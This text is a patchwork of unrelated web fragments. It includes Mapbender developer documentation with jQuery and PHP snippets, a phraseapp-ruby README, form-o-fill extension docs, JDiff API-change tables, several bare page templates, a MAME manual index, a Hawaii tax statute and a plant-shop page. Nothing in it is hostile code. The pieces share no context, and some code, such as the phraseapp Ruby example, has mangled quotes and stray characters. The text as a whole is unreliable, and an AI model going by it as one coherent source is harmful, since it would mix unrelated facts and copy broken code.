The render function usually uses twig to render a HTML fragment to stand for the element and this fragment must include an id attribute set to the id dynamically given to the element by the Mapbender application! As these ids are generated dynamically you must not use them for styling in your element’s CSS.
Also, the application iterates over each element and calls the getConfiguration method to collect all elements’ configuration arrays which are made available client-side in the Mapbender.configuration.elements variable - as well as given to each element’s widget construct method.
To sum up, the elements configurations are available:
- In the element’s render function which can pass the configuration to the twig file.
- In the element’s widget methods as “this->options”.
- In the Mapbender.configuration.elements JavaScript variable (for all elements)
Element Callback Workflow¶
The standard element callback /application/{slug}/element/{id}/{action} is routed to the Mapbender\CoreBundle\Controller\ApplicationController::elementAction($slug, $id, $action) function.
This function does the same as the applicationAction to get the application object, therefore application access is checked and no access to the element callback is possible if the user is not allowed to use the application.
The element is retrieved and then access to the element is checked based on the roles of the current user.
Finally, the element’s callback function Mapbender\CoreBundle\Component\Element::httpAction($action) is called. This function must return an Symfony\Component\HttpFoundation\Response object or throw an HttpException (not found, access denied, etc.)
It is left to the element to implement it’s logic in it’s httpAction method. Best practice is to do an switch statement over the $action parameter. Default should be an HttpNotFoundException. Using the standard Symfony methods you can access the request as an Symfony service with $this->get(‘request’) in the element class.
Element widgets can construct the callback URL for use in their Ajax calls by using their element id and the path provided in the Mapbender variable:
(function($) {
$.widget('mapbender.mbDemo', {
elementUrl: null,
_create: function() {
this.elementUrl = Mapbender.configuration.elementPath + this.element.attr('id') + '/';
},
_doMagic: function() {
$.ajax({
url: this.elementUrl + 'myAction',
data: { foo: 'bar' }
});
}
});
})(jQuery);
Manager Workflow¶
Manager modules are plain Symfony2 controller classes. To ensure their routes are prefixed with /manager - or whatever prefix is configured for the manager bundle - you should not use the Sensio\FrameworkExtraBundle\Configuration\Route annotation, but the special FOM\ManagerBundle\Configuration\Route annotation. Actually, that annotation class is not so special after all, but it enables the ManagerBundle to enforce the prefix.
It is best practice to use the Route annotation under a different name to make it visually easier to debug the controller for the use of the right annotation:
<?php
namespace Acme\DemoBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use FOM\ManagerBundle\Configuration\Route as ManagerRoute;
class DemoManagerController extends Controller
{
/**
* @ManagerRoute("/demo")
*/
public function demoAction()
{
/* ... */
}
}


Deepu Joseph
Home
(current)
Services
Experience
Contact
DEEPU JOSEPH
Trivandrum, Kerala, India.
Services
Marketing
Consulting
Branding
Sales
Delivery
others
Experiences
OTHERS
Delivery
Contact
Name
Place
E-mail
Mobile No
Message
Submit


Twig_NodeTraverser is a node traverser.
It visits all nodes and their children and call the given visitor for each.
Located in /NodeTraverser.php (line 21)
Constructor.
Adds a visitor.
Traverses a node and calls the registered visitors.
Documentation generated on Sun, 24 Oct 2010 20:29:21 +0200 by phpDocumentor 1.4.3


Add Team Member
×
Active
Pending
Inactive
Roles
Auditor
Lead Auditor
audit
Project Information
Bruce Wayne
Storage
60gb
/ 100gb
View Profile
Settings
Invite your friends
Sign Out
Save
Objective
Scope
Methodology
Measurement Tools


|
Generated by JDiff |
|||||||
| FRAMES NO FRAMES |
The percent change statistic reported for all elements in each API is defined recursively as follows:
Percentage difference = 100 * (added + removed + 2*changed) ----------------------------------- sum of public elements in BOTH APIsWhereadded
is the number of packages added,removed
is the number of packages removed, andchanged
is the number of packages changed. This definition is applied recursively for the classes and their program elements, so the value for a changed package will be less than 1, unless every class in that package has changed. The definition ensures that if all packages are removed and all new packages are added, the change will be 100%. Values are rounded here, so a value of 0% indicates a percentage difference of less than 0.5%.The overall difference between the two APIs is approximately 29%.
| Percentage Difference |
Frequency | Percentage Frequency |
| 0 | 0.1111111111111111 | |
| 1 | 0.07407407407407407 | |
| 3 | 0.07407407407407407 | |
| 5 | 0.1111111111111111 | |
| 6 | 0.07407407407407407 | |
| 9 | 0.037037037037037035 | |
| 10 | 0.037037037037037035 | |
| 11 | 0.037037037037037035 | |
| 12 | 0.037037037037037035 | |
| 17 | 0.037037037037037035 | |
| 19 | 0.07407407407407407 | |
| 20 | 0.07407407407407407 | |
| 23 | 0.037037037037037035 | |
| 36 | 0.037037037037037035 | |
| 40 | 0.037037037037037035 | |
| 57 | 0.037037037037037035 | |
| 88 | 0.037037037037037035 | |
| 98 | 0.037037037037037035 |
| Percentage Difference |
Frequency | Percentage Frequency |
| 0 | 0.013157894736842105 | |
| 1 | 0.05263157894736842 | |
| 2 | 0.06578947368421052 | |
| 3 | 0.06578947368421052 | |
| 4 | 0.13157894736842105 | |
| 5 | 0.06578947368421052 | |
| 6 | 0.02631578947368421 | |
| 7 | 0.06578947368421052 | |
| 8 | 0.039473684210526314 | |
| 9 | 0.039473684210526314 | |
| 11 | 0.05263157894736842 | |
| 13 | 0.039473684210526314 | |
| 14 | 0.06578947368421052 | |
| 15 | 0.013157894736842105 | |
| 16 | 0.039473684210526314 | |
| 19 | 0.013157894736842105 | |
| 20 | 0.013157894736842105 | |
| 22 | 0.02631578947368421 | |
| 23 | 0.013157894736842105 | |
| 26 | 0.013157894736842105 | |
| 27 | 0.013157894736842105 | |
| 33 | 0.02631578947368421 | |
| 41 | 0.013157894736842105 | |
| 44 | 0.013157894736842105 | |
| 47 | 0.013157894736842105 | |
| 66 | 0.013157894736842105 | |
| 71 | 0.013157894736842105 | |
| 74 | 0.013157894736842105 | |
| 90 | 0.013157894736842105 | |
| 100 | 0.013157894736842105 |
The numbers of program elements (packages, classes. constructors, methods and fields) which are recorded as removed, added or changed includes only the highest-level program elements. That is, if a class with two methods was added, the number of methods added does not include those two methods, but the number of classes added does include that class.
| Number of Differences | ||||
| Removals | Additions | Changes | Total | |
| Packages | 8 | 11 | 27 | 46 |
| Classes and Interfaces | 7 | 120 | 76 | 203 |
| Constructors | 4 | 4 | 10 | 18 |
| Methods | 61 | 175 | 52 | 288 |
| Fields | 7 | 22 | 1 | 30 |
| Total | 87 | 332 | 166 | 585 |


{% extends "base.html" %} {% load staticfiles %} {% load utility_tags %} {% block title %} "{{ episode.title }}" (from {{ episode.podcast.title }}) {% endblock %} {% block meta_description %}{% if episode.external_transcript %}How to obtain{% else %}How to help create{% endif %} a complete transcript of the “{{ episode.title|html_escape }}” episode from the “{{ episode.podcast.title|html_escape }}” podcast.{% endblock %} {% block nav_class_read %} active {% endblock %} {% block extra_css %} {# TODO: extract this common audio-playing stuff #} {% endblock %} {% block extra_js %} {# TODO: extract this common audio-playing stuff #} {% if DEBUG %} {% else %} {% endif %} {% endblock %} {% block content %}
Do you want a transcript of this episode? You can help make one!
The process is simple, there's no obligation, and you can stop at any time.
{% if user.is_authenticated %} {% else %} {% endif %}This episode has a transcript hosted on another website.
Note: This transcript was not created using the Fanscribed Transcription Engine.
{% else %}No transcript has been started for this episode.
{# #} {% endif %}


phraseapp-ruby
phraseapp-ruby is a Ruby gem that allows you to interact with the Phrase API.
Phrase is a translation management platform for software projects. You can collaborate on language file translation with your team or order translations through our platform. The API allows you to import locale files, download locale files, tag keys or interact in other ways with the localization data stored in Phrase for your account.
phraseapp-ruby is not a replacement for the phrase gem, it is a pure API client for programmaticly using our features inside your own applications and does not support the push or pull commands for locale files. However, it does support uploading and downloading of single locale files through the according API endpoints.
If you’re looking for a CLI sync command for Phrase, please user our official Phrase client. The phrase gem is deprecated and will be discontinued at the end of 2015.
Installation
Install the gem:
gem install phraseapp-ruby
or add it to your Gemfile when using bundler:
gem 'phraseapp-ruby'
and install it via
bundle install
Usage
For usage examples please refer to our Wiki for this. Here is a basic setup with an Access Token that you can find in your Phrase user profile for Authentication.
“by
Require the gem
require ‘phraseapp-ruby’
Setup Authentication Credentials and Client
credentials = PhraseApp::Auth::Credentials.new(token: “YOUR_ACCESS_TOKEN”) client = PhraseApp::Client.new(credentials)
List projects page 1 and list 10 projects per_page
rsp, err = client.projects_list(1, 10) puts rsp
Create a new key
params = PhraseApp::RequestParams::TranslationKeyParams.new(name: “foo”) rsp, err = client.key_create(‘YOUR_PROJECT_ID’, params) puts rsp
“
There are also other ways of authentication, which are described in our API v2 Documentation
Documentation
For a full list of available client actions, see the phraseapp-ruby Documentation
The actions are generated automatically from our API specification, so once you get the hang of the Ruby specific naming, you should be able to infer names of actions and endpoints through our API v2 Documentation
OpenSSL
Please note that OpenSSL may cause issues, especially on MacOS X. The following error patterns might be seen:
certificate verification failed
: On MacOS X this might be caused by rvm binary releases trying to fiddle with root certificates. Usingrvm install ruby-2.2.3 --disable-binary
fixes the issue. If you already had installed the rvm binaries it might be necessary to reinstall openssl and removing artifacts (like/etc/openssl
and/usr/local/etc/openssl
).handshake failure
: This is most probably related to an outdated version of OpenSSL that tries to initiate a connection using SSLv2/v3 which is not supported by our servers. Updating OpenSSL to version 1.0.2d or later should be sufficient.
Tests
To run the test first install the dependencies
$ bundle install
and run the tests by
$ rake test
Contributing
This library is auto-generated from templates that run against a API specification file. Therefore we can not accept any pull requests in this repository. Please use the GitHub Issue Tracker to report bugs.


ViewContainers should be set up as Singletons (example to follow). mace.ts is convention based unless behavior is overridden. When naming a ViewContainer name the ViewContainer according to Url that it should be handling. For example if the ViewContainer is suppose to handle '/Orders' then the ViewContainer should be named OrdersContainer. There are three helper snippets for building ViewContainers.


{{community.name | uppercase}}
| Name |
{{member.name}} |
| Department |
{{member.department}} |
| Program |
{{member.course}} |
Fill your profile info to get yourself enrolled.


Contributed responsive templates which you can use with your Zen Cart may be found in the Responsive Templates sections in the Zen Cart Plugins Directory.
For reference, you can also view and Legacy Templates, but bear in mind that you will want your final template to be responsive (to look good on mobile devices).


The context object passed as the before functions second parameter has a certain structure.
It contains a method that describes the URL form-o-fill is working in (.url
), a method to find HTML in the webpage (.findHtml()
) and a method to store and retrieve data between rule executions (.storage
).
https://github.com/form-o-fill/form-o-fill-chrome-extension/search?q=context#somehash
the url
part in the context object will look like:
url: { url: "https://github.com/form-o-fill/form-o-fill-chrome-extension/search?q=context#somehash", protocol: "https:", host: "github.com", port: "", path: "/form-o-fill/form-o-fill-chrome-extension/search", query: "?q=context", hash: "#somehash" }
The context object also includes a function that allows you to modify your rules based on the HTML of the page the rule is executed in.
You pass a jQuery compatible selector to the finder (.findHtml()
). It will return a Promise on which you can call .then(function(html) {});
on.
The first and only parameter to that function will be the found HTML of the tag (aka. outerHTML) or null
if the selector was not found.
Use it in a before function to construct your data return value like so:
before: function (resolve, context) { var data = { someThing: "Some Text", }; context.findHtml("a.a-link").then(function(html) { data.linkHtml = html; resolve(data); }); }
Please notice that the call to findHtml
is asynchronous so you should call the before function resolve
inside the findHtml then
function.
Before functions are usually used to prepare data to be filled into form fields.
Using the context.storage
functions you can store arbitary data and restore it on demand.
This is very useful for storing data between workflow steps.
To save data use context.storage.set("key", {some: "data"});
.
To load data use context.storage.get("key")
, which will - in this example - return {some: "data"}
.
Delete all stored data with context.storage.delete()
.
Values stored in this way can be used in other before functions (eg. in another workflow step) or by value functions.


MAME OS X Manual
>
Contents
Basics
What is MAME OS X
How to Run MAME OS X
Preferences
Inputs
Using a Keyboard
Using a Mouse
Using Joysticks and Gamepads
Advanced
Visual Effects
Running from the Command Line
Using the mameosx-util Tool
Support Files and Directories
Other Information
Where to Get Help
Acknowledgements


[§46-1.8] Reciprocal supplying of tax information. Notwithstanding any other law to the contrary, a tax official of any county of the State may disclose any records relating to the administration of real property taxes to any duly accredited tax official of the State for tax purposes. [L Sp 2005, c 9, §2]
Revision Note
Section was enacted as an addition to chapter 246A but is renumbered to this chapter pursuant to §23G-15.


About us
We are a young company with ambitious plans. Our company strives to create maximum comfort around you. We will be happy to help you find the plant you are looking for.
Get closer to nature!
We are a young company with ambitious plans. Our company strives to create maximum comfort around you. We will be happy to help you find the plant you are looking for.
Get closer to nature!
Watering - 1-2 days.
Temperature - 20-25˚C.
Light - Full sunlight.
Fertilizing - 2 weeks.
Watering - 1-2 days.
Temperature - 22-25˚C.
Light - Full sunlight.
Fertilizing - 2 weeks.
Watering - every day.
Temperature - 13-22˚C.
Light - shadow.
Fertilizing - 2 weeks.